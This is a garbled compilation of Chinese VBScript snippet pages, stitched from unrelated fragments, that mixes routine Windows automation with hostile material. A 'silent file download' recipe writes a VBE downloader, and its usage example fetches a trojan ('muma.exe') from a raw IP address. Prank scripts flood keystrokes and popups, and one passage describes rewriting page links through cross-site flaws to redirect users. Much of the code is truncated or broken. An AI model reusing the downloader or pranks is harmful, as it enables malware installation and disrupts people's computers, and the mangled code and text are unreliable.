几个超有价值的VBS脚本

合集下载

VBS实用代码分享

VBS实⽤代码分享刚刚解决了⼀个实际问题，拿出来分享。

我刚将Spark重新编译，编译完成后是⼀个start.bat⽂件，双击start.bat就能够启动Spark，但是有⼀个命令窗⼝，要是能隐藏掉就好了。

隐藏命令窗⼝Set ws = CreateObject("Wscript.Shell")ws.run "cmd /c startup.bat",vbhide创建快捷⽅式'取得当前⽤户的application data⽂件夹Const APPLICATION_DATA = &H1a&Set objShell = CreateObject("Shell.Application")Set objFolder = space(APPLICATION_DATA)'取得当前程序运⾏路径path=left(Wscript.ScriptFullName,len(Wscript.ScriptFullName)-len(Wscript.ScriptName))set WshShell = Wscript.CreateObject("Wscript.Shell")'取得⾃动启动⽂件夹路径strDir = WshShell.SpecialFolders("AllUsersStartup")'创建快捷⽅式set oShellLink = WshShell.CreateShortcut(strDir & "\\Spark即时通讯.lnk")oShellLink.TargetPath = path & "\\startup.vbs"'设置快捷⽅式的执⾏路径oShellLink.WindowStyle = 1oShellLink.Hotkey = "Ctrl+Alt+s"'设置快捷⽅式的图标oShellLink.IconLocation = path & "\\spark.ico"oShellLink.Description = "Spark即时通讯"oShellLink.WorkingDirectory = pathoShellLink.Save'删除⽂件夹Const APPLICATION_DATA = &H1a&Set objShell = CreateObject("Shell.Application")Set objFolder = space(APPLICATION_DATA)MsgBox(objFolder.Self.Path)Set objFSO = CreateObject("Scripting.FileSystemObject")Set objFolder = objFSO.GetFolder(objFolder.Self.Path & "\\Spark")objFolder.Delete True'创建⽂件夹set fso=createobject("scripting.filesystemobject")If fso.FolderExists(path & "\\..\\xtra") = false Thenfso.CreateFolder(path & "\\..\\xtra")End IfIf fso.FolderExists(path & "\\..\\xtra\\emoticons") = false Thenfso.CreateFolder(path & "\\..\\xtra\\emoticons")End If。

好玩的vbs代码

好玩的vbs代码
VBS代码是一种基于VisualBasic脚本语言的代码，可以用于Windows系统中的各种任务和操作。

下面介绍一些好玩的VBS代码： 1. 在桌面上制造恐慌
将以下代码保存为.vbs格式，双击运行即可：
Set wshShell = wscript.CreateObject('WScript.Shell')
do
wscript.sleep 100
wshshell.sendkeys '你好吗？'
Loop
这个代码会在桌面上不停地输入“你好吗？”，看起来像是一个外挂程序在操作，非常逗乐。

2. 模拟电脑崩溃
将以下代码保存为.vbs格式，双击运行即可：
Set wshShell = wscript.CreateObject('WScript.Shell')
do
wscript.sleep 100
wshshell.sendkeys '{CAPSLOCK}'
wshshell.sendkeys '{NUMLOCK}'
wshshell.sendkeys '{SCROLLLOCK}'
Loop
这个代码会不停地切换大写锁、数字锁和滚动锁，使得电脑看起
来像是崩溃了一样。

好玩的vbs代码

好玩的VBScript代码VBScript（Visual Basic Scripting Edition）是一种基于VB语言的脚本语言，它可以用来创建简单的Windows应用程序、网页脚本和系统管理脚本等。

VBScript 是一种通用的脚本语言，可以用来实现各种有趣的功能。

在本文中，我们将介绍一些好玩的VBScript代码，展示其强大的功能和娱乐价值。

1. 电脑妖怪第一个VBScript代码是创建一个电脑妖怪。

该代码将在电脑屏幕上创建一个随机移动的图形，并发出奇怪的声音。

Set wshShell = CreateObject("WScript.Shell")Set objShell = CreateObject("Shell.Application")Set objWMI = GetObject("winmgmts:\\.\root\cimv2")DowshShell.Run "mshta vbscript:CreateObject(""SAPI.SpVoice"").Speak(""Boo!"") (Close)"objShell.MinimizeAllobjShell.UndoMinimizeAllFor Each objDesktop in objWMI.InstancesOf("Win32_Desktop")objDesktop.SetWallpaper "C:\path\to\your\image.jpg"Nextwscript.sleep 100Loop通过运行该代码，将在桌面上创建一个随机移动的图形，并且屏幕上会突然发出吓人的声音。

这个代码可以用作恶作剧或者给你的朋友带来一些惊喜。

2. 无限弹窗第二个VBScript代码是创建一个无限弹窗的例子。

收藏的比较精典VBS代码

收藏的比较精典VBS代码Set fso = Wscript.CreateObject("Scripting.FileSystemObject") '创建文件系统对象，用以处理驱动器、文件夹和文件Set WshShell = Wscript.CreateObject("Wscript.Shell") '创建系统Shell对象，用以运行程序等等if fso.fileexists("D:\刀剑Online\alreadyexist.txt") then '如果找到文件“D:\刀剑Online\alreadyexist.txt”则WshShell.Run("D:\刀剑Online\刀剑Online.exe") '运行“D:\刀剑Online\刀剑Online.exe”elseif fso.fileexists("\\gengxin\update\dj.exe") then '否则，如果找到“\\gengxin\update\dj.exe”则WshShell.Run("\\gengxin\update\dj.exe") '运行“\\gengxin\update\dj.exe”else WshShell.Run("D:\刀剑Online\刀剑Online.exe") '否则运行“D:\刀剑Online\刀剑Online.exe”end if '根据条件执行语句结束VBS 导入注册表，然后执行文件dim Wsh Set Wsh = WScript.CreateObject("WScript.Shell") Wsh.RegWrite "HKCU\SOFTWARE\AUDITION\AUTOSTART",0,"REG_DWORD" Wsh.RegWrite "HKCU\SOFTWARE\AUDITION\PATH","G:\网络游戏\劲舞团1.5","REG_SZ" Wsh.RegWrite "HKCU\SOFTWARE\AUDITION\VERSION",1010,"REG_DWORD" Wsh.run "patcher.exe"PING内网不通就执行关机的VBSstrIP = "192.168.0.254" '被PING的内网机器Set objShell = CreateObject("WScript.Shell")If Not IsOnline(strIP) Then objShell.run "shutdown -s -t 30 -c "&chr(34)&"机器即将关闭"&chr(34) End IfFunction IsOnline(strComputer) IsOnline = false strCommand = "%comspec% /c ping -n 2 -w 500 " & strComputer & "" Set objExecObject = objShell.Exec(strCommand) Do While Not objExecObject.StdOut.AtEndOfStream strText = objExecObject.StdOut.ReadAll() If Instr(strText, "Reply") > 0 Then IsOnline = true End If Loop End Function开机脚本VBS用于ARP邦定Set WshShell = Wscript.CreateObject("Wscript.Shell") WshShell.run "arp -s 192.168.0.1 30-18-e5-33-01",0 WshShell.run "arp -s 192.168.0.5 30-18-e5-33-07",0运行程序Dim aSet Wsh = WScript.CreateObject("WScript.Shell") a.Run "d:\网络游戏\大话西游II\xy-2.exe"运行oshell.run "d:\soft\hf\hfgame3\GameClient.lnk"断开网络连接strNICName = " disable =net pci\*" Set objShell = CreateObject("Wscript.Shell") strCommand = "devcon.exe"& strNICName objShell.Run strCommand, 0, False启动网络连接strNICName = " enable =net pci\*" Set objShell = CreateObject("Wscript.Shell") strCommand = "devcon.exe"& strNICName objShell.Run strCommand, 0, False删除文件的VBS脚本dim fso Set fso = CreateObject("Scripting.FileSystemObject")fso.CopyFile "\\server\共享\XXX.lnk","c:\目标位置1\",true '添加fso.CopyFile "\\server\共享\XXX.lnk","c:\目标位置2\",true '添加fso.DeleteFile "c:\目标位置1\XXX.lnk" ,true '删除fso.DeleteFile "c:\目标位置2\XXX.lnk" ,true '删除Set FSO=NoThing WScript.quit无界面自动检测安装iscsi客户端，映射及断开映射vbs脚本下列代码实现无界面自动检测安装iscsi客户端,自动映射On Error Resume Next setupfile="iscsi2.0.exe" 'iscsi客户端安装文件路径serverip="192.168.0.100" 'iscsi服务器ip Set oshell= CreateObject("WScript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") if not fso.fileexists(oshell.ExpandEnvironmentStrings("%WinDir%")+"\system32\iscsicpl.cpl")then oshell.run setupfile&" /q",,1 end if oshell.run "iscsicli AddTargetPortal "&serverip&" 3260",0,1 oshell.run "iscsicli LoginTarget .ricecake.iscsi:00 T * * * * * * * * * * * ** * * 0",0,1下例代码实现无界面删除iscsi映射盘filetmp="c:\my.txt" On Error Resume Next Set Shell = CreateObject("WScript.Shell") Set fso = Wscript.CreateObject("Scripting.FileSystemObject") shell.run "cmd /c iscsiclisessionlist>"&filetmp,0,1 Const ForReading = 1 Dim fso, theFile, retstring Set fso = CreateObject("Scripting.FileSystemObject") Set theFile = fso.OpenTextFile(filetmp, ForReading) aaa=thefile.readall thefile.close function myreadline() X=instr(1,aaa,vbcrlf,vbTextCompare) myline=mid(aaa,1,x-1) aaa=right(aaa,len(aaa)-x) if len(aaa) =<1 then myline ="end" myreadline=myline end function Do While bbb<>"end" bbb=myreadline if bbb <> "end" then if bbb <>" " then if instr(bbb,"Session")<>0 then temID=mid(bbb,instr(bbb,":")+1,len(bbb)-instr(bbb,":")) shell.run "iscsicli logouttarget"&temID,0 end if end if end if Loop fso.deletefile(filetmp)删除QQ用户文件强制删除是不行的了，要跳过的话这样：Dim fso, folderspec, f, f1, fc folderspec = "f:\Program Files\Tencent\QQ" '设置你的QQ文件夹Dim Re Set Re = New RegExp Re.Pattern = "^\d{4,13}$" Set fso = CreateObject("scripting.FileSystemObject") Set f = fso.GetFolder(folderspec) Set fc = f.SubFolders For Each f1 in fc If Re.Test() Then On Error Resume Next f1.Delete(true) On Error GoTo 0 End If Next格5分钟运行一次批处理程序Dim Wsh Set Wsh = WScript.CreateObject("WScript.Shell") Do Wsh.Run "d:\aaa.bat" '你要执行的批处理WScript.Sleep(300000) Loop要设开机自动运行，禁止程序。

vbs编程必背50个程序

VBS编程必背50个程序什么是VBS编程？VBS，全称为Visual Basic Scripting，是一种被广泛应用于Windows系统的脚本语言。

它基于Visual Basic，但语法更加简单且易于学习和使用。

VBS可以用于编写脚本文件，实现各种任务，如自动化任务、系统管理以及图形用户界面等。

为什么要掌握VBS编程？VBS编程是一种非常有用的技能，特别是对于那些需要在Windows环境中进行自动化和批量处理的人来说。

掌握VBS编程可以帮助你提高工作效率，简化重复的任务，并增加系统管理和故障排除的能力。

下面是50个VBS编程的示例程序：1. Hello WorldMsgBox "Hello World!"这个简单的程序会弹出一个对话框，显示“Hello World!”。

2. 计算器Dim num1, num2, resultnum1 = InputBox("请输入第一个数字:")num2 = InputBox("请输入第二个数字:")result = num1 + num2MsgBox "计算结果为：" & result这个程序会要求你输入两个数字，然后将它们相加并显示结果。

3. 遍历文件夹Set fso = CreateObject("Scripting.FileSystemObject")Set folder = fso.GetFolder("C:\Path\To\Folder")For Each file In folder.FilesMsgBox Next这个程序会遍历指定文件夹中的所有文件，并依次弹出每个文件名。

4. 创建文件Set fso = CreateObject("Scripting.FileSystemObject")Set file = fso.CreateTextFile("C:\Path\To\File.txt")file.WriteLine "Hello World!"file.Close这个程序会创建一个文本文件，并在其中写入“Hello World!”。

常用VBS代码值得一看

常⽤VBS代码值得⼀看从系统开始菜单中删除此链接:复制代码代码如下:Windows Registry Editor Version 5.00[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}]@=-"InfoTip"=-[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\DefaultIcon]@=-[HKEY_CLASSES_ROOT\CLSID\{2559a1f6-21d7-11d4-bdaf-00c04f60b9f0}\Instance\InitPropertyBag] "Command"=-"Param1"=-VBS脚本实现整理磁盘碎⽚功能Set WshShell = WScript.CreateObject("WScript.Shell")Dim fso, d, dcSet fso = CreateObject("Scripting.FileSystemObject")Set dc = fso.DrivesFor Each d in dcIf d.DriveType = 2 ThenReturn = WshShell.Run("defrag " & d & " -f", 1, TRUE)End IfNextSet WshShell = Nothing计划任务定时调⽤VBS脚本复制代码代码如下:Option ExplicitOn Error Resume Next'⽣成列表的⽂件类型Const sListFileType = "wmv,rm,wma"'⽂件所在的相对路径Const sShowPath="."'排序类型的常量定义Const iOrderFieldFileName = 0Const iOrderFieldFileExt = 1Const iOrderFieldFileSize = 2Const iOrderFieldFileType = 3Const iOrderFieldFileDate = 4'排序顺逆的常量定义const iOrderAsc = 0const iOrderDesc = 1'⽣成列表的⽂件数量const iShowCount = 20'显⽰的⽇期格式函数Function Cndate2(date1,intDateStyle)dim strdate,dDate1strdate=cstr(date1)If Isdate(strdate) ThenIf Left(cstr(strdate),1)="0" ThendDate1=Cdate("20"+cstr(strdate))elsedDate1=Cdate(strdate)End IfElsedDate1=Now()End IfSelect case intDateStyleCase 1:Cndate2 = Cstr(Year(dDate1))+"-"+Cstr(Month(dDate1))+"-"+Cstr(Day(dDate1))Case 2:Cndate2 = Cstr(Month(dDate1))+"-"+Cstr(Day(dDate1))Case 3:Cndate2 = Cstr(Month(dDate1))+"⽉"+Cstr(Day(dDate1))+"⽇"Case 4:Cndate2 = Cstr(year(dDate1))+"年"+ Cstr(Month(dDate1))+"⽉"+Cstr(Day(dDate1))+"⽇" End SelectEnd FunctionFunction ListFile(strFiletype,intCompare,intOrder,intShowCount)Dim sListFileDim fso, f, f1, fc, s,ftype,fcount,i,j,kDim t1,t2,t3,t4,t5Dim iMonth,iDaysListFile = ""Set fso = CreateObject("Scripting.FileSystemObject")Set f = fso.GetFolder(sShowPath)Set fc = f.Filesfcount = fc.countredim arrFiles(fcount,5)redim arrFiles2(fcount,5)i=0'排序For Each f1 in fcftype = right(,len()-instrrev(,"."))arrFiles(i,0) = arrFiles(i,1) = ftypearrFiles(i,2) = f1.sizearrFiles(i,3) = f1.typearrFiles(i,4) = f1.DateLastModifiedi=i+1NextFor i=0 to fcount-1for j=i+1 to fcount-1select Case intCompareCase iOrderFieldFileName,iOrderFieldFileExt,iOrderFieldFileType:If arrFiles(i,intCompare)>arrFiles(j,intCompare) thent1 = arrFiles(i,0)t2 = arrFiles(i,1)t3 = arrFiles(i,2)t4 = arrFiles(i,3)t5 = arrFiles(i,4)arrFiles(i,0) = arrFiles(j,0)arrFiles(i,1) = arrFiles(j,1)arrFiles(i,2) = arrFiles(j,2)arrFiles(i,3) = arrFiles(j,3)arrFiles(i,4) = arrFiles(j,4)arrFiles(j,0) = t1arrFiles(j,1) = t2arrFiles(j,2) = t3arrFiles(j,3) = t4arrFiles(j,4) = t5end ifCase iOrderFieldFileSize:If cdbl(arrFiles(i,intCompare))>cdbl(arrFiles(j,intCompare)) thent1 = arrFiles(i,0)t2 = arrFiles(i,1)t3 = arrFiles(i,2)t4 = arrFiles(i,3)t5 = arrFiles(i,4)arrFiles(i,0) = arrFiles(j,0)arrFiles(i,1) = arrFiles(j,1)arrFiles(i,2) = arrFiles(j,2)arrFiles(i,3) = arrFiles(j,3)arrFiles(i,4) = arrFiles(j,4)arrFiles(j,0) = t1arrFiles(j,1) = t2arrFiles(j,2) = t3arrFiles(j,3) = t4arrFiles(j,4) = t5end ifCase iOrderFieldFileDate:If Cdate(arrFiles(i,intCompare))>Cdate(arrFiles(j,intCompare)) thent1 = arrFiles(i,0)t2 = arrFiles(i,1)t3 = arrFiles(i,2)t4 = arrFiles(i,3)t5 = arrFiles(i,4)arrFiles(i,0) = arrFiles(j,0)arrFiles(i,1) = arrFiles(j,1)arrFiles(i,2) = arrFiles(j,2)arrFiles(i,3) = arrFiles(j,3)arrFiles(i,4) = arrFiles(j,4)arrFiles(j,0) = t1arrFiles(j,1) = t2arrFiles(j,2) = t3arrFiles(j,3) = t4arrFiles(j,4) = t5end ifEnd Selectnextnext'⽣成列表sListFile = sListFile + ("<table cellpadding=0 cellspacing=0 width=100% align=center class=""PageListTable"" style=""BEHAVIOR: url(images/sort2.htc); "">")sListFile = sListFile + ("<THEAD><Tr class=PageListTitleTr><Td class=PageListTitleTd>")sListFile = sListFile + ("名称")sListFile = sListFile + ("</td><Td class=PageListTitleTd>")sListFile = sListFile + ("媒体")sListFile = sListFile + ("</td><Td class=PageListTitleTd>")sListFile = sListFile + ("⼤⼩")sListFile = sListFile + ("</td><Td class=PageListTitleTd>")sListFile = sListFile + ("类型")sListFile = sListFile + ("</td><Td class=PageListTitleTd ID=updatetime>")sListFile = sListFile + ("更新时间")sListFile = sListFile + ("</td></Tr></THEAD>")dim iLoopStart,iLoofEnd,iLoopStepIf intOrder = 0 theniLoopStart = 0iLoofEnd = fcount-1iLoopStep = 1ElseiLoopStart = fcount-1iLoofEnd = 0iLoopStep = -1End ifdim iCount,sTDStyleClassiCount = 1For j=iLoopStart to iLoofEnd Step iLoopStepIf instr(strFiletype,arrFiles(j,1))>0 and iCount<=intShowCount thensTDStyleClass = "PageListTd"+Cstr((iCount mod 2)+1)sListFile = sListFile + ("<Tr class=PageListTr><Td class="+sTDStyleClass+">")sListFile = sListFile + ("<img src=images/"+arrFiles(j,1)+".gif align=absbottom><img src=b.gif width=2 height=0><a href=" & sShowPath & "/" & CStr(arrFiles(j,0)) &">" & arrFiles(j,0) &"</a>")If datediff("h",arrFiles(j,4),now)<=24 thensListFile = sListFile + "<img src=images/new.gif align=absmiddle>"end ifsListFile = sListFile + "</td><Td class="+sTDStyleClass+">"sListFile = sListFile + ("<a href=" & sShowPath & "/" & CStr(arrFiles(j,0)) &">")'根据⽂件名规则,⽣成中⽂提⽰select case left(arrFiles(j,0),3)case "sc2":sListFile = sListFile + "<font color=#AA0000>四川卫视 "case "sd2":sListFile = sListFile + "<font color=#00AA00>⼭东卫视 "case "gd2":sListFile = sListFile + "<font color=#0000AA>⼴东卫视 "case "gx2":sListFile = sListFile + "<font color=#AAAA00>⼴西卫视 "end select'⽇期显⽰If isnumeric(left(right(arrFiles(j,0),8),2)) theniMonth = cint(left(right(arrFiles(j,0),8),2))iDay = cint(left(right(arrFiles(j,0),6),2))sListFile = sListFile + cstr(iMonth)+"⽉" + cstr(iDay)+"⽇"sListFile = sListFile + ("</a></td><Td class="+sTDStyleClass+" align=right>")Elseresponse.write arrFiles(j,0)end ifIf arrFiles(j,2)>1024*1024 thensListFile = sListFile + cstr(round(arrFiles(j,2)/1024/1024))sListFile = sListFile + ("MB")elsesListFile = sListFile + cstr(round(arrFiles(j,2)/1024))sListFile = sListFile + ("KB")end ifsListFile = sListFile + (" </td>")sListFile = sListFile + ("<Td class="+sTDStyleClass+">")sListFile = sListFile + cstr(arrFiles(j,3))sListFile = sListFile + ("</td>")sListFile = sListFile + ("<Td class="+sTDStyleClass+">")sListFile = sListFile + (Cndate2(arrFiles(j,4),4))sListFile = sListFile + ("</td>")sListFile = sListFile + ("</Tr>")iCount = iCount+1end ifnextsListFile = sListFile + "</table>"ListFile = sListFileEnd Function'⽣成调⽤⽂件的过程Sub ShowFileListContent()Dim tUpdatetime,sUpdateContentDim fso,f,f_js,f_js_writeSet fso = CreateObject("Scripting.FileSystemObject")Set f = fso.GetFolder(sShowPath)Set f_js = fso.GetFile("list.js")'⽐较调⽤⽂件与⽂件夹的最后修改时间If f.DateLastModified<>f_js.DateLastModified thensUpdateContent = ListFile(sListFileType,iOrderFieldFileDate,iOrderDesc,iShowCount) Set f_js_write = fso.CreateTextFile("list.js", True)'JS调⽤就加上下⾯这对document.write' f_js_write.Write ("document.write('")f_js_write.Write (sUpdateContent)' f_js_write.Write ("')")f_js_write.CloseEnd IfEnd SubCall ShowFileListContent()可以代替⽹通宽带登陆器的⼀段vbs脚本Dim WshShell, iexplorePath, iexploreselectiexplorePath="c:\Progra~1\Intern~1\iexplore.exe"Set WshShell=WScript.CreateObject("WScript.Shell")WshShell.Run iexplorePathWScript.Sleep 2000WshShell.AppActivate "⽤户上⽹登陆"WshShell.SendKeys "⾃⼰的账号{TAB}"WshShell.SendKeys "⾃⼰的密码"WScript.Sleep 2000WshShell.SendKeys "{ENTER}"利⽤VBS脚本创建快捷⽅式我们以"QQ Aqing增强包参数配置器"为例⼦,讲述如何利⽤VBS脚本创建快捷⽅式.代码如下: 代码:set WshShell = Wscript.CreateObject("Wscript.Shell")strDesktop = WshShell.SpecialFolders("Desktop")set oShellLink = WshShell.CreateShortcut(strDesktop & "\QQ Aqing增强包参数配置器.lnk") '创建⼀个快捷⽅式对象,其在桌⾯上显⽰的名字为"QQ Aqing增强包参数配置器" oShellLink.TargetPath = "C:\Program Files\Tencent\QQ\Aqing.exe"'设置快捷⽅式的执⾏路径oShellLink.WindowStyle = 1oShellLink.Hotkey = "Ctrl+Alt+e" '设置快捷⽅式的快捷键oShellLink.IconLocation = "E:\Picture\Aqing.ico" '设置快捷⽅式的图标路径oShellLink.Description = "QQ Aqing增强包参数配置器" '设置快捷⽅式的描述oShellLink.WorkingDirectory = strDesktopoShellLink.Save将上述代码保存为"CreateShortcut.vbs"(不含引号).双击CreateShortcut.vbs,就会将QQ Aqing增强包参数配置器的快捷⽅式建⽴到桌⾯上.⽤这种⽅法建⽴的快捷⽅式的最⼤优点是:快捷⽅式的图标可以根据⾃⼰的喜好进⾏更改⽤VBS脚本发送email![code]Set objEmail = CreateObject("CDO.Message")objEmail.From = "null_vbt@"objEmail.To = "null_vbt@"objEmail.Subject = "这封邮件是由VBS脚本发送"objEmail.Textbody = "如果你收到这封邮件，就表⽰测试成功！"objEmail.Send利⽤vbs脚本编写Windows XP/2003序列号更改器复制代码代码如下:ON ERROR RESUME NEXTDim VOL_PROD_KEYif Wscript.arguments.count<1 thenVOL_PROD_KEY =InputBox("使⽤说明(OEM版⽆效)："&vbCr&vbCr&" 本脚本程序将修改当前 Windows 的序列号。

好玩的vbs代码

好玩的vbs代码VBScript（即Visual Basic Scripting Edition）是针对Microsoft Windows操作系统开发的一种脚本语言。

可以使用VBScript编写简单的窗体程序、交互式的动态网页以及实现许多有趣的小程序。

在这里，我们将分享一些有趣的VBScript代码，让你在工作之余放松一下，娱乐一下自己吧。

第一步："Hello, World!""Hello, world!"是编程语言初学者经常会编写的程序。

让我们来看一下用VBScript编写"Hello, world!"的代码。

```VBScriptMsgBox "Hello, world!"```在使用VBScript中，MsgBox是一个弹出式对话框，用于显示一条消息。

在这个代码中，我们使用了MsgBox，将"Hello, world!"作为消息显示出来。

这个程序的作用是打开一个窗口，显示一条消息，即"Hello, world!"。

第二步：翻转字符串这个程序可以将一个字符串翻转。

例如，如果我们输入"hello"，则输出"olleh"。

```VBScriptoriginalString = "hello"reversedString = StrReverse(originalString)MsgBox reversedString```在这个代码中，我们使用StrReverse函数翻转字符串。

该函数将输入的字符串反转，返回反转后的结果。

在这个程序中，我们将"hello"传递给该函数，并将结果返回给另一个变量。

最后，我们使用MsgBox弹出一个对话框，显示反转后的字符串。

第三步：随机数生成器这个程序可以生成1到100之间的随机数，并让用户猜测正确的数字。

vbs整人代码大集合

未知驱动探索，专注成就专业
vbs整人代码大集合
1. 简介
本文档将介绍一些有趣的VBScript (VBS)代码，这些代码可以用于整人、恶作剧或者娱乐。

VBScript是一种微软开发的脚本语言，可以通过各种操作系统上的微软系列产品（如Windows）来使用。

请注意，这些代码仅用于娱乐目的，不应用于恶意活动或任何非法行为。

使用这些代码时，请确保你已经获得了授权。

2. 鼠标移动逃避
这段代码将在屏幕上显示一个小的色块，并在用户试图移动鼠标指针靠近色块时，自动将色块移动到一个随机位置。

```vbs Set objShell = CreateObject(
1。

VBS经典代码大全

strComputer = puterName
Set objGroup = GetObject("WinNT://" & strComputer & "/Administrators,group")
For Each objUser in objGroup.Members
Wscript.Echo
Next
--------------------------------------------------------------------------------
7磁盘系统
strComputer = "."
Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2")
For Each objComputer in colComputers
Wscript.Echo
Next
--------------------------------------------------------------------------------
4检查升级包
If objUser.AccountDisabled Then
Wscript.Echo "The Guest account is already disabled."
Else
objUser.AccountDisabled = True
objUser.SetInfo
Wscript.Echo "The Guest account has been disabled."

vbs实用代码

vbs实用代码l★vbs有一个对像是"SAPI.SpVoice",可以用它来讲英语的，这个组件在xp、2003上默认都可以用的，调用后可以听到电脑上一个国外老男人在说话好比这样一句代码：CreateObject("SAPI.SpVoice").Speak"ILOVEY0U"保存成vbs后缀后双击就会听到英语的我爱你了2★用mashta来运行vbshta这种类型的文件运行后也是系统权限，其调用宿主就是mahta。

我们在cmd下运行这样一行代码： _ , 拜mshtavbscript:createobject("sapi.spvoice").speak("ILOVEYO U.")(window.close)也会听到同样的发音。

这行代码的意思类似是临时生成一个hta 文件，然后运行里边的vbs代码，再调用window.close将运行窗口关掉。

整个运行过程是看不到hta窗口的.3★用ie地址栏运行vbs很多人会用ie地址栏运行js,其实vbs—样是可以的，我们陆便打开一个网站，在地址栏上输入：vbscript:msgbox(Document.links.length)后回车，就会看到当前页面有多少个连接了。

用Document.links(i).href这句的话，将i换成不同的自然数好比0、1、2、3等就会分别显示出不同的链接地址。

这部份内容其实是涉及到dhtml的内容了。

我们来看一个最简单的示例代码：这是两个链接，保存成网页后点击就会跳转到不同的页面。

如果这个页面有跨站，我想搞下破坏，让用户点击却跑到我指定的页面上能做到吗？其实可以的.只要加一行语句就可以了，代码是：。

这样的话用户再点击sohu其实会跑到baidu上去了，原来页面的版式却丝奄没有破坏。

同样的dhtml元素还有document.links(i).href、document,images(i).src>document.forms(i>.action等,跨站改变其动态元素是很好玩的。

收集的一些经典的vbs脚本大全

收集的⼀些经典的vbs脚本⼤全记录⼀些经典的vbs脚本1.⽂件下载(⽆回显)echo iLocal = LCase(WScript.Arguments(1)) >iget.vbeecho iRemote = LCase(WScript.Arguments(0)) >>iget.vbeecho Set xPost = createObject("Microsoft.XMLHTTP") >>iget.vbeecho xPost.Open "GET",iRemote,0 >>iget.vbeecho xPost.Send() >>iget.vbeecho Set sGet = createObject("ADODB.Stream") >>iget.vbeecho sGet.Mode = 3 >>iget.vbeecho sGet.Type = 1 >>iget.vbeecho sGet.Open() >>iget.vbeecho sGet.Write(xPost.responseBody) >>iget.vbeecho sGet.SaveToFile iLocal,2 >>iget.vbe⽤法: cscript hget.vbs http://111.111.111.111/muma.exe muma.exe2.列举进程@echo for each ps in getobject _ >ps.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs@echo wscript.echo ps.handle^&vbtab^&^&vbtab^&ps.executablepath:next >>ps.vbs⽤法:cscript ps.vbs3.终⽌进程@echo for each ps in getobject _ >pskill.vbs@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pskill.vbs@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pskill.vbs⽤法:cscript pskill.vbs pid4.重启系统@echo for each os in getobject _ >reboot.vbs@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ >>reboot.vbs@echo os.win32shutdown(2):next >>reboot.vbs⽤法:cscript reboot.vbsVBS脚本在系统安全中的⼋则巧妙应⽤VBS脚本病毒的⼤量流⾏使我们对VBS的功能有了⼀个全新的认识，现在⼤家对它也开始重视起来。

VBS的经典

const PI=3.1415926const NAME="记忆碎片"这样我们就定义了两个常量, PI和NAME, 一般说来, 常量名全部使用大写, 但也可以不用, 随你喜好. 将一些在程序中不需要改变的值定义为常量是个好习惯, 这样能防止不必要的意外. 另外, 使用自定义常量也可以减少你的工作量. 比如:msgbox("Hello World")msgbox("Hello World")msgbox("Hello World")msgbox("Hello World")msgbox("Hello World")这个程序输出五次Hello World, 如果你想要改变输出为Bye-Bye, 就必须修改全部程序, 当然你可以手动修改5次, 但如果你要输出1000次呢? 常量就可以替我们解决这个问题:const hw="Hello World"msgbox(hw)msgbox(hw)msgbox(hw)msgbox(hw)msgbox(hw)这样当你要修改输出的时候只要修改hw的值就行了.好了, 现在我们来看看编程的第一块重要"基石":变量. 解释变量最好的办法我觉得是"盒子", 一个变量好像一个盒子, 里面只能装一个东西, 当你要装进去别的东西的时候必须把原有的东西拿出来. 这个"盒子"是有名称的, 当你在程序中使用变量的时候, 系统会打开盒子取出里面的东西, 让这些东西参与处理, 而不是盒子. 有些语言是很依赖"盒子"里面装些什么东西, 这样才能找到合适的"盒子"(比如C语言), 但VBS给我提供的是能够自动伸缩的"魔术盒", 我们不用关心装进去的是什么东西,VBS会自动调整盒子的大小. 例如:Dim a1,a2,a3a1=14a2=12.23a3="Hello"而不用像C语言那样麻烦: 或者是VB的正规声明(VB可以声明也可以不用)那样:int a1; Dim a1 as integerfloat a2; Dim a2 as Doublechar* a3; Dim a3 as strniga1=14; a1=14a2=12.23; a2=12.23a3="Hello"; a3="Hello"嗯……扯远了……变量有什么用呢? 哇, 那用处可大了. 最简单, 你并不能确定程序运行时变量的值, 比如前一节课我们编的输入姓名的程序, 你不能确定InputBox返回的是什么(还记得Inputbox的返回值吗? 就是你输入的内容), 所以你就没有办法应对各种情况, 但我们用name这个"盒子"把用户的名字装起来, 到用的时候我们只要知道name这个盒子的名字就行了, 系统会自己打开他并把里面的内容拿出来用. 再举个例子, 我们编写一个程序计算一个矩形的面积, 比如这个程序要发给小学生使用:dim a,b,sa=15b=12s=a*bmsgbox(s)这样就可以求出长为15,宽为12的矩形的面积了, 是不是很简单? 当然, 这个程序也可以这样写:dim ss=15*12msgbox(s)这样看起来程序短了许多, 也节约内存, 但并不是鼓励的做法, 为什么? 请看下面.现在, 我们的程序要变得像点样子才行, 谁的程序写出来还要别人修改源代码才能用啊?所以, 我们要接受用户的输入, 还记得吗? InputBox函数.修改后程序如下:dim a,b,sa=inputbox("请输入矩形的长:")b=inputbox("请输入矩形的宽:")s=a*bmsgbox(s)ok, 这么一修改, 无论用户输入怎样的数据, 我们都能计算出矩形的面积了. 如果你用s=15*12能改嘛? 当然不行.我想你已经发现了, vbs中的数学计算和真正的算术没有什么不同, +,-,*,/,(),[],{}都是一样的用法, 比如:dim ansans=12+32/4+[(23-10)*2]msgbox(ans)四则运算的法则在编程中同样生效, 你可以在编程中重新获得小学时候的乐趣(你恨数学?那就别学电脑了).在编程中有一个有趣的运算符是"mod", 这个运算符叫做"取余运算符", 就是取得一次除法的余数, 例如dim aa=16 mod 5你知道a等于几吗? Bingo! 没错, 就是1. 因为16 / 5 =3....1, 所以mod计算的结果就是1.还有一个运算符是"^"(就是键盘"6"上面的小箭头), 他表示"乘幂"(或者是"方") 比如:dim a,b,ca=2b=a^2c=a^3msgbox(a)msgbox(c)则b=a*a=4, c=a*a*a=8。

vbs经典例子

